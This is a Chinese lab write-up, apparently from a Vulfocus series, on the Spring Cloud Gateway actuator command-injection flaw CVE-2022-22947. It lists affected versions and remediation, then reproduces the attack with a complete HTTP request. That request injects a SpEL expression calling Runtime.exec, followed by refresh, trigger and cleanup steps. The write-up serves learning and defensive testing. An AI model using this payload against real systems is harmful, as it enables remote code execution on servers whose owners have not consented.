[Vulfocus解题系列]spring 命令执行(CVE-2022-22947)

环境部署

使用docker部署环境
在这里插入图片描述

漏洞等级:高危

3 月 1 日,VMware 官方发布安全公告,声明对 Spring Cloud Gateway 中的一处命令注入漏洞进行了修复,漏洞编号为CVE-2022-22947
Spring官方发布

漏洞描述

使用 Spring Cloud Gateway 的应用如果对外暴露了 Gateway Actuator 接口,则可能存在被 CVE-2022-22947 漏洞利用的风险。攻击者可通过利用此漏洞执行 SpEL 表达式,从而在目标服务器上执行任意恶意代码,获取系统权限。

影响范围

Spring Cloud Gateway 3.1.x < 3.1.1
Spring Cloud Gateway 3.0.x < 3.0.7
其他旧的、不受支持的 Spring Cloud Gateway 版本

漏洞利用前置条件

除了 Spring Cloud Gateway 外,程序还用到了 Spring Boot Actuator 组件(它用于对外提供 /actuator/ 接口);

#Spring 配置对外暴露 gateway 接口,如 application.properties 配置为:
默认为truemanagement.endpoint.gateway.enabled=true
#以逗号分隔的一系列值,默认为 health
#若包含 gateway 即表示对外提供 Spring Cloud Gateway 接口
management.endpoints.web.exposure.include=gateway

解决方案

3.1.x 版本用户应升级到 3.1.1+ 版本,3.0.x 版本用户应升级到 3.0.7+ 版本。
或者在不考虑影响业务的情况下禁用 Gateway actuator 接口:如application.properties 中配置 management.endpoint.gateway.enabled 为 false。

复现过程

使用burp抓包,直接上字典扫描目录
在这里插入图片描述

扫描出了存在
/actuator路径,里面有很多spring常见的接口路径
我们先查看路由/actuator/gateway/routes
在这里插入图片描述
然后创建一条包含恶意代码的路由:

POST /actuator/gateway/routes/error HTTP/1.1
Host: ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 336

{
  "id": "error",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

在这里插入图片描述
接着以POST方法请求
/actuator/gateway/refresh
用于刷新路由,使刚添加的恶意路由生效
在这里插入图片描述
最后以GET方法请求/actuator/gateway/routes
,触发恶意路由,可以 看到之前的id命令被执行了
在这里插入图片描述
真实环境测试时证明漏洞存在后记得将恶意路由删除,使用DELETE
在这里插入图片描述

再次刷新路由/actuator/gateway/refresh,
然后查看路由,恢复到测试之前的样子了:
在这里插入图片描述

参考链接:https://blog.csdn.net/qq_49619863/article/details/127350543
https://mp.weixin.qq.com/s?__biz=MzA4NzUwMzc3NQ==&mid=2247490095&idx=1&sn=8bdc76de3ebaa557c9e56b33d803c112&chksm=90393cdfa74eb5c90587c4a6549a6cd9e0aaec2fa53d531c1e1362260b5e6c12c4fa3516cece&scene=27

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/674628.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

InvokeAI学习教程三:换脸

启动InvokeAI&#xff0c;我们先生成一张图&#xff1a; 在正向提示词里输入&#xff1a;Avant-garde couture, tactile textures, vogue aesthetics, vibrant color palette, intricate embroidery details, dramatic silhouettes 生成一张高贵夫人的图像&#xff0c; 或者你从…

android高效读图方式——Hardwarebuffer读图

安卓上有许许多多使用OpenGL来渲染的原因&#xff0c;比方说做特效/动画/硬解/人脸识别等等。渲染完成后如何从gpu中把数据快速读取出来也是高效图像处理中的重要的一环。 相对于glReadPixel的同步读取方式&#xff0c;安卓GLES3.0提供了更高效快速的Hardwarebuffer读图方式&a…

Jenkins的jdk和maven配置

目录 传送门前言一、概念二、JDK的配置三、Maven配置四、环境变量配置五、坑 传送门 SpringMVC的源码解析&#xff08;精品&#xff09; Spring6的源码解析&#xff08;精品&#xff09; SpringBoot3框架&#xff08;精品&#xff09; MyBatis框架&#xff08;精品&#xff09…

隐藏饼图的legend,重写legend列表。

因为要实现的饼图效果较复杂,所以,需要重新写列表。 点击右侧列表的圆点,实现隐藏左侧饼图相应环状。 // 饼图,点击自定义列表,显示和隐藏饼图对应的环状数据<template> <div class="index_div"> <a-spin :spinning="aLoading">&l…

数据保护技巧揭秘:为导出文件添加防护密码的实用指南

一、前言 当涉及到敏感数据的导出和共享时&#xff0c;数据安全是至关重要的。在现代数字化时代&#xff0c;保护个人和机密信息免受未经授权的访问和窃取是每个组织和个人的首要任务之一。在这种背景下&#xff0c;葡萄城的纯前端表格控件 SpreadJS 提供的加密功能为用户提供…

【Java面试】九、微服务篇SpringCloud(上)

文章目录 1、SpringCloud五大组件2、服务注册和发现2.1 Eurake2.2 Eurake和Nacos的区别 3、Ribbon负载均衡3.1 策略3.2 自定义负载均衡策略 4、服务雪崩与熔断降级4.1 服务雪崩4.2 服务降级4.3 服务熔断 5、服务限流5.1 Nginx限流5.2 网关限流 6、微服务监控7、面试 1、SpringC…

电力系统上线测试工具介绍

上线测试 电力系统上线测试工具主要用于在电力系统建设完成后&#xff0c;对系统进行全面的功能和性能测试。这些工具可以模拟各种运行环境和负载情况&#xff0c;以检测电力系统的性能和稳定性。 以下是几种常见的电力系统上线测试工具&#xff1a; 1. 负载测试工具&#x…

高低温光照综合试验整车综合性能步入式环境实验舱

高低温光照综合试验整车综合性能步入式环境实验舱 整车综合性能试验舱主要用于整车高低温存放试验、整车除霜、除雾性能试验、整车冷起动性能试验、整车采暖及制冷性能试验、组合全光谱阳光模拟检测成套零部件或整车在阳光照射下的实验室加速老化性能。高低温光照综合试验整车…

[ICPC2024 Xi‘an I] ICPC2024 邀请赛西安站(7/8/13)

心得 [ICPC2024 Xian I] ICPC2024 邀请赛西安站重现赛 - 比赛详情 - 洛谷 7表示赛时ac了7个&#xff0c;8表示含补题总共ac数&#xff0c;13表示题目总数 题目 M. Chained Lights 打表&#xff0c;发现只有k1是YES //#include <bits/stdc.h> #include<iostream&…

idea解决“源根之外的java文件“的问题

一&#xff0c;问题 idea编辑器打开一些老Spring项目&#xff0c;会出现项目结构解析不正确&#xff0c;最后整个项目的java文件都无法正常运行&#xff0c;显示“源根之外的java文件”。 二&#xff0c;解决 打开File->项目结构 选中模块&#xff0c;然后在右边选中对应的…

2024年武汉东湖高新中级职称报名时间是什么时候?

2024年武汉市东湖高新中级职称上半年批次报名已经截止了&#xff0c;下半年东湖高新至少还有一次报名机会&#xff0c;所以各位东湖高新区评职称的朋友们&#xff0c;不要错过这次了。 2024年武汉东湖高新区中级职称报名条件&#xff1a; 1.东湖高新区社保满足1年&#xff0c;近…

LayerSkip:加速大模型推理的端到端解决方案

大模型&#xff08;LLMs&#xff09;在多种应用中表现出色&#xff0c;但其高昂的计算和内存需求导致部署成本昂贵&#xff0c;尤其是在GPU服务器上。现有加速方案在部署到普通GPU时往往会导致准确性显著下降&#xff0c;而将大模型&#xff08;LLMs&#xff09;进一步加速以部…

时间复杂度与空间复杂度的计算

空间复杂度 (O(1)) 空间复杂度是衡量算法在运行过程中所需的额外内存空间。(O(1)) 表示算法只需要常量级别的额外空间&#xff0c;不会随着输入数据的大小 (n) 增加而增加。也就是说&#xff0c;无论处理的数据有多大&#xff0c;算法所需的额外内存空间始终是固定的。 对于选…

链表的回文结构的判定(C语言)怎会如此简单!!!

目录 题目思路分析如何找到中间节点如何实现反转链表链表的对比完整代码 题目 链接: 题目 描述&#xff1a; 对于一个链表&#xff0c;请设计一个时间复杂度为O(n),额外空间复杂度为O(1)的算法&#xff0c;判断其是否为回文结构。 给定一个链表的头指针A&#xff0c;请返回一个…

php反序列化中的pop链

目录 一、什么是POP 二、成员属性赋值对象 例题&#xff1a; 方法一 方法二 三、魔术方法的触发规则 例题&#xff1a; 四、POC的编写 例题1&#xff1a; 例题2 [NISACTF 2022]babyserialize 今日总结&#xff1a; 一、什么是POP 在反序列化中&#xff0c;我们…

Git配置免密登录Github

1、登录 GitHub &#xff0c;点击右上角头像&#xff0c;选中 Settings (设置)。 在 https://github.com 登录你的帐号&#xff0c;登录以后点击右上角你的头像的Settings 如果没有设置&#xff0c;输入下面的指令进行设置&#xff1a; git config --global user.name “用户名…

【启明智显技术分享】sigmastar ssd202d双网口开发板多串口调试说明

提示&#xff1a;作为Espressif&#xff08;乐鑫科技&#xff09;大中华区合作伙伴及sigmastar&#xff08;厦门星宸&#xff09;VAD合作伙伴&#xff0c;我们不仅用心整理了你在开发过程中可能会遇到的问题以及快速上手的简明教程供开发小伙伴参考。同时也用心整理了乐鑫及星宸…

cesium 的初步认识

Cesium是一个基于JavaScript开发的WebGL三维地球和地图可视化库。它利用了现代Web技术&#xff0c;如HTML5、WebGL和WebAssembly&#xff0c;来提供跨平台和跨浏览器的三维地理空间数据可视化。Cesium的主要特点包括&#xff1a; 跨平台、跨浏览器&#xff1a;无需额外插件&am…

4个免费音频转换器:解放您的音频文件格式转换需求

在日常生活和工作中&#xff0c;我们经常需要处理各种音频文件&#xff0c;但有时候这些文件可能并不是我们需要的特定格式。在这种情况下&#xff0c;一个免费的音频转换器就能派上用场。免费音频转换器是一种非常实用的工具&#xff0c;它可以帮助我们将不同格式的音频文件相…

C++栈、队列

文章目录 目录 文章目录 前言 一、stack、queue介绍 1.stack 2.queue 二、stack、queue的习题 1. 最小栈 2. 栈的压入、弹出序列 3.二叉树的层序遍历 三、stack和queue的模拟实现 1.stack的模拟实现 2.queue的模拟实现 前言 栈和队列是俩种特殊的容器&#xff0c;C在实现栈和队…